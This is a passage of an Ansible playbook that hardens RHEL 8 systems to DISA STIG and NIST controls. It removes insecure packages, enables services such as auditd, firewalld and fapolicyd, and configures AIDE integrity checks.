    - DISA-STIG-RHEL-08-040001
    - disable_strategy
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - package_libreport-plugin-logger_removed

  - name: 'Uninstall libreport-plugin-rhtsupport Package: Ensure libreport-plugin-rhtsupport
      is removed'
    ansible.builtin.package:
      name: libreport-plugin-rhtsupport
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040001
    - disable_strategy
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - package_libreport-plugin-rhtsupport_removed

  - name: 'Uninstall python3-abrt-addon Package: Ensure python3-abrt-addon is removed'
    ansible.builtin.package:
      name: python3-abrt-addon
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040001
    - disable_strategy
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - package_python3-abrt-addon_removed

  - name: 'Uninstall tuned Package: Ensure tuned is removed'
    ansible.builtin.package:
      name: tuned
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040390
    - disable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_tuned_removed

  - name: Ensure dnf-plugins-core is installed
    package:
      name: dnf-plugins-core
      state: present
    when: ansible_pkg_mgr == &quot;dnf&quot;
    tags:
    - DISA-STIG-RHEL-08-040010
    - disable_strategy
    - ensure_epel_repos_disabled
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Lock Accounts Must Persist - Ensure necessary SELinux packages are installed
    ansible.builtin.package:
      name: '{{ item }}'
      state: present
    with_items:
    - python3-libselinux
    - python3-policycoreutils
    - policycoreutils-python-utils
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020016
    - DISA-STIG-RHEL-08-020017
    - NIST-800-53-AC-7(a)
    - NIST-800-53-AC-7(b)
    - NIST-800-53-AC-7.1(ii)
    - accounts_passwords_pam_faillock_dir
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure opensc is installed
    ansible.builtin.package:
      name: opensc
      state: present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010410
    - NIST-800-53-CM-6(a)
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_opensc_installed

  - name: Ensure openssl-pkcs11 is installed
    ansible.builtin.package:
      name: openssl-pkcs11
      state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture != &quot;s390x&quot;
    tags:
    - DISA-STIG-RHEL-08-010390
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.3
    - enable_strategy
    - install_smartcard_packages
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure rsyslog-gnutls is installed
    ansible.builtin.package:
      name: rsyslog-gnutls
      state: present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030680
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_rsyslog-gnutls_installed

  - name: Ensure rsyslog is installed
    ansible.builtin.package:
      name: rsyslog
      state: present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030670
    - NIST-800-53-CM-6(a)
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_rsyslog_installed

  - name: Ensure firewalld is installed
    ansible.builtin.package:
      name: firewalld
      state: present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040100
    - NIST-800-53-CM-6(a)
    - PCI-DSSv4-1.2
    - PCI-DSSv4-1.2.1
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_firewalld_installed

  - name: Deactivate Wireless Network Interfaces - Ensure NetworkManager is installed
    ansible.builtin.package:
      name: '{{ item }}'
      state: present
    with_items:
    - NetworkManager
    when: ( not ( ansible_virtualization_type in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;,
      &quot;container&quot;] ) )
    tags:
    - DISA-STIG-RHEL-08-040110
    - NIST-800-171-3.1.16
    - NIST-800-53-AC-18(3)
    - NIST-800-53-AC-18(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - PCI-DSS-Req-1.3.3
    - PCI-DSSv4-1.3
    - PCI-DSSv4-1.3.3
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy
    - wireless_disable_interfaces

  - name: Ensure policycoreutils is installed
    ansible.builtin.package:
      name: policycoreutils
      state: present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010171
    - enable_strategy
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - package_policycoreutils_installed

  - name: 'Uninstall Automatic Bug Reporting Tool (abrt): Ensure abrt is removed'
    ansible.builtin.package:
      name: abrt
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040001
    - disable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_abrt_removed

  - name: Ensure fapolicyd is installed
    ansible.builtin.package:
      name: fapolicyd
      state: present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040135
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SI-4(22)
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_fapolicyd_installed

  - name: 'Uninstall vsftpd Package: Ensure vsftpd is removed'
    ansible.builtin.package:
      name: vsftpd
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040360
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-CM-7.1(ii)
    - NIST-800-53-IA-5(1)(c)
    - NIST-800-53-IA-5(1).1(v)
    - disable_strategy
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - package_vsftpd_removed

  - name: 'Remove the Kerberos Server Package: Ensure krb5-server is removed'
    ansible.builtin.package:
      name: krb5-server
      state: absent
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010163
    - NIST-800-53-IA-7
    - NIST-800-53-IA-7.1
    - disable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_krb5-server_removed

  - name: Ensure mailx is installed
    ansible.builtin.package:
      name: mailx
      state: present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010358
    - NIST-800-53-CM-3(5)
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_mailx_installed

  - name: Ensure postfix is installed
    ansible.builtin.package:
      name: postfix
      state: present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030030
    - PCI-DSSv4-10.5
    - PCI-DSSv4-10.5.1
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_postfix_installed

  - name: 'Uninstall Sendmail Package: Ensure sendmail is removed'
    ansible.builtin.package:
      name: sendmail
      state: absent
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040002
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_sendmail_removed

  - name: 'Uninstall telnet-server Package: Ensure telnet-server is removed'
    ansible.builtin.package:
      name: telnet-server
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040000
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - PCI-DSS-Req-2.2.2
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.4
    - disable_strategy
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - package_telnet-server_removed

  - name: 'Uninstall tftp-server Package: Ensure tftp-server is removed'
    ansible.builtin.package:
      name: tftp-server
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040190
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.4
    - disable_strategy
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - package_tftp-server_removed

  - name: Ensure openssh-server is installed
    ansible.builtin.package:
      name: openssh-server
      state: present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040159
    - NIST-800-53-CM-6(a)
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_openssh-server_installed

  - name: Ensure usbguard is installed
    ansible.builtin.package:
      name: usbguard
      state: present
    when: ( ansible_architecture != &quot;s390x&quot; and &quot;kernel&quot; in ansible_facts.packages
      )
    tags:
    - DISA-STIG-RHEL-08-040139
    - NIST-800-53-CM-8(3)
    - NIST-800-53-IA-3
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_usbguard_installed

  - name: Disable graphical user interface - Ensure xorg-x11-server-Xorg is removed
    ansible.builtin.package:
      name: xorg-x11-server-Xorg
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040320
    - NIST-800-53-CM-6(b)
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy
    - xwindows_remove_packages

  - name: Disable graphical user interface - Ensure xorg-x11-server-common is removed
    ansible.builtin.package:
      name: xorg-x11-server-common
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040320
    - NIST-800-53-CM-6(b)
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy
    - xwindows_remove_packages

  - name: Disable graphical user interface - Ensure xorg-x11-server-utils is removed
    ansible.builtin.package:
      name: xorg-x11-server-utils
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040320
    - NIST-800-53-CM-6(b)
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy
    - xwindows_remove_packages

  - name: Disable graphical user interface - Ensure xorg-x11-server-Xwayland is removed
    ansible.builtin.package:
      name: xorg-x11-server-Xwayland
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040320
    - NIST-800-53-CM-6(b)
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy
    - xwindows_remove_packages

  - name: Ensure audit is installed
    ansible.builtin.package:
      name: audit
      state: present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030180
    - NIST-800-53-AC-7(a)
    - NIST-800-53-AU-12(2)
    - NIST-800-53-AU-14
    - NIST-800-53-AU-2(a)
    - NIST-800-53-AU-7(1)
    - NIST-800-53-AU-7(2)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.1
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_audit_installed

  - name: Gather the package facts
    ansible.builtin.package_facts:
      manager: auto
    tags:
    - always

  - name: Disable debug-shell SystemD Service - Disable service debug-shell
    block:

    - name: Disable debug-shell SystemD Service - Collect systemd Services Present
        in the System
      ansible.builtin.command: systemctl -q list-unit-files --type service
      register: service_exists
      changed_when: false
      failed_when: service_exists.rc not in [0, 1]
      check_mode: false

    - name: Disable debug-shell SystemD Service - Ensure debug-shell.service is Masked
      ansible.builtin.systemd:
        name: debug-shell.service
        state: stopped
        enabled: false
        masked: true
      when: service_exists.stdout_lines is search(&quot;debug-shell.service&quot;, multiline=True)

    - name: Unit Socket Exists - debug-shell.socket
      ansible.builtin.command: systemctl -q list-unit-files debug-shell.socket
      register: socket_file_exists
      changed_when: false
      failed_when: socket_file_exists.rc not in [0, 1]
      check_mode: false

    - name: Disable debug-shell SystemD Service - Disable Socket debug-shell
      ansible.builtin.systemd:
        name: debug-shell.socket
        enabled: false
        state: stopped
        masked: true
      when: socket_file_exists.stdout_lines is search(&quot;debug-shell.socket&quot;, multiline=True)
    tags:
    - DISA-STIG-RHEL-08-040180
    - NIST-800-171-3.4.5
    - NIST-800-53-CM-6
    - disable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - service_debug-shell_disabled
    - special_service_block
    when: '&quot;kernel&quot; in ansible_facts.packages'

  - name: Enable rsyslog Service - Enable service rsyslog
    block:

    - name: Enable rsyslog Service - Enable Service rsyslog
      ansible.builtin.systemd:
        name: rsyslog
        enabled: true
        state: started
        masked: false
      when:
      - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010561
    - NIST-800-53-AU-4(1)
    - NIST-800-53-CM-6(a)
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - service_rsyslog_enabled
    - special_service_block
    when: '&quot;kernel&quot; in ansible_facts.packages'

  - name: Verify firewalld Enabled - Enable service firewalld
    block:

    - name: Verify firewalld Enabled - Enable Service firewalld
      ansible.builtin.systemd:
        name: firewalld
        enabled: true
        state: started
        masked: false
      when:
      - '&quot;firewalld&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040101
    - NIST-800-171-3.1.3
    - NIST-800-171-3.4.7
    - NIST-800-53-AC-4
    - NIST-800-53-CA-3(5)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(21)
    - PCI-DSSv4-1.2
    - PCI-DSSv4-1.2.1
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - service_firewalld_enabled
    - special_service_block
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;firewalld&quot; in ansible_facts.packages'

  - name: Disable the Automounter - Disable service autofs
    block:

    - name: Disable the Automounter - Collect systemd Services Present in the System
      ansible.builtin.command: systemctl -q list-unit-files --type service
      register: service_exists
      changed_when: false
      failed_when: service_exists.rc not in [0, 1]
      check_mode: false

    - name: Disable the Automounter - Ensure autofs.service is Masked
      ansible.builtin.systemd:
        name: autofs.service
        state: stopped
        enabled: false
        masked: true
      when: service_exists.stdout_lines is search(&quot;autofs.service&quot;, multiline=True)

    - name: Unit Socket Exists - autofs.socket
      ansible.builtin.command: systemctl -q list-unit-files autofs.socket
      register: socket_file_exists
      changed_when: false
      failed_when: socket_file_exists.rc not in [0, 1]
      check_mode: false

    - name: Disable the Automounter - Disable Socket autofs
      ansible.builtin.systemd:
        name: autofs.socket
        enabled: false
        state: stopped
        masked: true
      when: socket_file_exists.stdout_lines is search(&quot;autofs.socket&quot;, multiline=True)
    tags:
    - DISA-STIG-RHEL-08-040070
    - NIST-800-171-3.4.6
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - disable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - service_autofs_disabled
    - special_service_block
    when: ( &quot;autofs&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )

  - name: Disable KDump Kernel Crash Analyzer (kdump) - Disable service kdump
    block:

    - name: Disable KDump Kernel Crash Analyzer (kdump) - Collect systemd Services
        Present in the System
      ansible.builtin.command: systemctl -q list-unit-files --type service
      register: service_exists
      changed_when: false
      failed_when: service_exists.rc not in [0, 1]
      check_mode: false

    - name: Disable KDump Kernel Crash Analyzer (kdump) - Ensure kdump.service is
        Masked
      ansible.builtin.systemd:
        name: kdump.service
        state: stopped
        enabled: false
        masked: true
      when: service_exists.stdout_lines is search(&quot;kdump.service&quot;, multiline=True)

    - name: Unit Socket Exists - kdump.socket
      ansible.builtin.command: systemctl -q list-unit-files kdump.socket
      register: socket_file_exists
      changed_when: false
      failed_when: socket_file_exists.rc not in [0, 1]
      check_mode: false

    - name: Disable KDump Kernel Crash Analyzer (kdump) - Disable Socket kdump
      ansible.builtin.systemd:
        name: kdump.socket
        enabled: false
        state: stopped
        masked: true
      when: socket_file_exists.stdout_lines is search(&quot;kdump.socket&quot;, multiline=True)
    tags:
    - DISA-STIG-RHEL-08-010670
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - service_kdump_disabled
    - special_service_block
    when: '&quot;kernel&quot; in ansible_facts.packages'

  - name: Enable the File Access Policy Service - Enable service fapolicyd
    block:

    - name: Enable the File Access Policy Service - Enable Service fapolicyd
      ansible.builtin.systemd:
        name: fapolicyd
        enabled: true
        state: started
        masked: false
      when:
      - '&quot;fapolicyd&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040136
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SI-4(22)
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - service_fapolicyd_enabled
    - special_service_block
    when: '&quot;kernel&quot; in ansible_facts.packages'

  - name: Enable the Hardware RNG Entropy Gatherer Service - Enable service rngd
    block:

    - name: Enable the Hardware RNG Entropy Gatherer Service - Enable Service rngd
      ansible.builtin.systemd:
        name: rngd
        enabled: true
        state: started
        masked: false
      when:
      - '&quot;rng-tools&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010471
    - enable_strategy
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - service_rngd_enabled
    - special_service_block
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.3',
      '&lt;=') or ( ansible_distribution == 'RedHat' and ansible_distribution_version
      is version('8.4', '&gt;=') ) )

  - name: Enable the OpenSSH Service - Enable service sshd
    block:

    - name: Enable the OpenSSH Service - Enable Service sshd
      ansible.builtin.systemd:
        name: sshd
        enabled: true
        state: started
        masked: false
      when:
      - '&quot;openssh-server&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040160
    - NIST-800-171-3.1.13
    - NIST-800-171-3.13.8
    - NIST-800-171-3.5.4
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-8
    - NIST-800-53-SC-8(1)
    - NIST-800-53-SC-8(2)
    - NIST-800-53-SC-8(3)
    - NIST-800-53-SC-8(4)
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - service_sshd_enabled
    - special_service_block
    when: '&quot;kernel&quot; in ansible_facts.packages'

  - name: Enable the USBGuard Service - Enable service usbguard
    block:

    - name: Enable the USBGuard Service - Enable Service usbguard
      ansible.builtin.systemd:
        name: usbguard
        enabled: true
        state: started
        masked: false
      when:
      - '&quot;usbguard&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040141
    - NIST-800-53-CM-8(3)(a)
    - NIST-800-53-IA-3
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - service_usbguard_enabled
    - special_service_block
    when: ( ansible_architecture != &quot;s390x&quot; and &quot;kernel&quot; in ansible_facts.packages
      )

  - name: Enable auditd Service - Enable service auditd
    block:

    - name: Enable auditd Service - Enable Service auditd
      ansible.builtin.systemd:
        name: auditd
        enabled: true
        state: started
        masked: false
      when:
      - '&quot;audit&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030181
    - NIST-800-171-3.3.1
    - NIST-800-171-3.3.2
    - NIST-800-171-3.3.6
    - NIST-800-53-AC-2(g)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-10
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-14(1)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-AU-3
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SI-4(23)
    - PCI-DSS-Req-10.1
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - service_auditd_enabled
    - special_service_block
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;audit&quot; in ansible_facts.packages'

  - name: Gather the service facts
    ansible.builtin.service_facts: null
    tags:
    - always

  - name: Build and Test AIDE Database - Check Whether the Stock AIDE Database Exists
    ansible.builtin.stat:
      path: /var/lib/aide/aide.db.new.gz
    register: aide_database_stat
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.3
    - DISA-STIG-RHEL-08-010359
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-11.5
    - PCI-DSSv4-11.5.2
    - aide_build_database
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Build and Test AIDE Database - Build and Test AIDE Database
    ansible.builtin.command: /usr/sbin/aide --init
    changed_when: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not (aide_database_stat.stat.exists is defined and aide_database_stat.stat.exists)
    register: aide_database_init
    tags:
    - CJIS-5.10.1.3
    - DISA-STIG-RHEL-08-010359
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-11.5
    - PCI-DSSv4-11.5.2
    - aide_build_database
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Build and Test AIDE Database - Stage AIDE Database
    ansible.builtin.copy:
      src: /var/lib/aide/aide.db.new.gz
      dest: /var/lib/aide/aide.db.gz
      backup: true
      remote_src: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - aide_database_init is changed
    - not ansible_check_mode
    tags:
    - CJIS-5.10.1.3
    - DISA-STIG-RHEL-08-010359
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-11.5
    - PCI-DSSv4-11.5.2
    - aide_build_database
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set &quot;Configure AIDE to Verify the Audit Tools - audit_tools fact&quot;
    ansible.builtin.set_fact:
      audit_tools:
      - /usr/sbin/auditctl
      - /usr/sbin/auditd
      - /usr/sbin/augenrules
      - /usr/sbin/aureport
      - /usr/sbin/ausearch
      - /usr/sbin/autrace
      - /usr/sbin/rsyslogd
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030650
    - NIST-800-53-AU-9(3)
    - NIST-800-53-AU-9(3).1
    - aide_check_audit_tools
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure AIDE to Verify the Audit Tools - Ensure Existing AIDE Configuration
      for Audit Tools are Correct
    ansible.builtin.lineinfile:
      path: /etc/aide.conf
      regexp: ^{{ item }}\s
      line: '{{ item }} p+i+n+u+g+s+b+acl+selinux+xattrs+sha512'
      create: true
    with_items: '{{ audit_tools }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;aide&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030650
    - NIST-800-53-AU-9(3)
    - NIST-800-53-AU-9(3).1
    - aide_check_audit_tools
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure AIDE to Verify the Audit Tools - Configure AIDE to Properly Protect
      Audit Tools
    ansible.builtin.lineinfile:
      path: /etc/aide.conf
      line: '{{ item }} p+i+n+u+g+s+b+acl+selinux+xattrs+sha512'
      create: true
    with_items: '{{ audit_tools }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;aide&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030650
    - NIST-800-53-AU-9(3)
    - NIST-800-53-AU-9(3).1
    - aide_check_audit_tools
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure Notification of Post-AIDE Scan Details - Setup Cron Tab
    ansible.builtin.cron:
      name: run AIDE check
      minute: 5
      hour: 4
      weekday: 0
      user: root
      job: /usr/sbin/aide  --check | /bin/mail -s &quot;$(hostname) - AIDE Integrity Check&quot;
        {{ var_aide_scan_notification_email }}
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010360
    - NIST-800-53-CM-3(5)
    - NIST-800-53-CM-6(a)
    - aide_scan_notification
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Get rules groups
    ansible.builtin.shell: |
      set -o pipefail
      LC_ALL=C grep &quot;^[A-Z][A-Za-z_]*&quot; /etc/aide.conf | grep -v &quot;^ALLXTRAHASHES&quot; | cut -f1 -d '=' | tr -d ' ' | sort -u || true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '''aide'' in ansible_facts.packages'
    register: find_rules_groups_results
    changed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-040310
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SI-7
    - NIST-800-53-SI-7(1)
    - aide_verify_acls
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure the acl rule is present when aide is installed.
    ansible.builtin.replace:
      path: /etc/aide.conf
      regexp: (^\s*{{ item }}\s*=\s*)(?!.*acl)([^\s]*)
      replace: \g&lt;1&gt;\g&lt;2&gt;+acl
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_rules_groups_results is not skipped and &quot;'aide' in ansible_facts.packages&quot;
    with_items: '{{ find_rules_groups_results.stdout_lines | map(''trim'') | list
      }}'
    tags:
    - DISA-STIG-RHEL-08-040310
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SI-7
    - NIST-800-53-SI-7(1)
    - aide_verify_acls
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Get rules groups
    ansible.builtin.shell: |
      set -o pipefail
      LC_ALL=C grep &quot;^[A-Z][A-Za-z_]*&quot; /etc/aide.conf | grep -v &quot;^ALLXTRAHASHES&quot; | cut -f1 -d '=' | tr -d ' ' | sort -u || true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '''aide'' in ansible_facts.packages'
    register: find_rules_groups_results
    changed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-040300
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SI-7
    - NIST-800-53-SI-7(1)
    - aide_verify_ext_attributes
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure the xattrs rule is present when aide is installed.
    ansible.builtin.replace:
      path: /etc/aide.conf
      regexp: (^\s*{{ item }}\s*=\s*)(?!.*xattrs)([^\s]*)
      replace: \g&lt;1&gt;\g&lt;2&gt;+xattrs
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_rules_groups_results is not skipped and &quot;'aide' in ansible_facts.packages&quot;
    with_items: '{{ find_rules_groups_results.stdout_lines | map(''trim'') | list
      }}'
    tags:
    - DISA-STIG-RHEL-08-040300
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SI-7
    - NIST-800-53-SI-7(1)
    - aide_verify_ext_attributes
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set the file_audit_tools_group_ownership_newgroup variable if represented
      by gid
    ansible.builtin.set_fact:
      file_audit_tools_group_ownership_newgroup: '0'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030640
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_group_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/auditctl
    ansible.builtin.stat:
      path: /sbin/auditctl
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030640
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_group_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure group owner on /sbin/auditctl
    ansible.builtin.file:
      path: /sbin/auditctl
      follow: false
      group: '{{ file_audit_tools_group_ownership_newgroup }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030640
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_group_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/aureport
    ansible.builtin.stat:
      path: /sbin/aureport
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030640
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_group_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure group owner on /sbin/aureport
    ansible.builtin.file:
      path: /sbin/aureport
      follow: false
      group: '{{ file_audit_tools_group_ownership_newgroup }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030640
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_group_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/ausearch
    ansible.builtin.stat:
      path: /sbin/ausearch
    register: file_exists
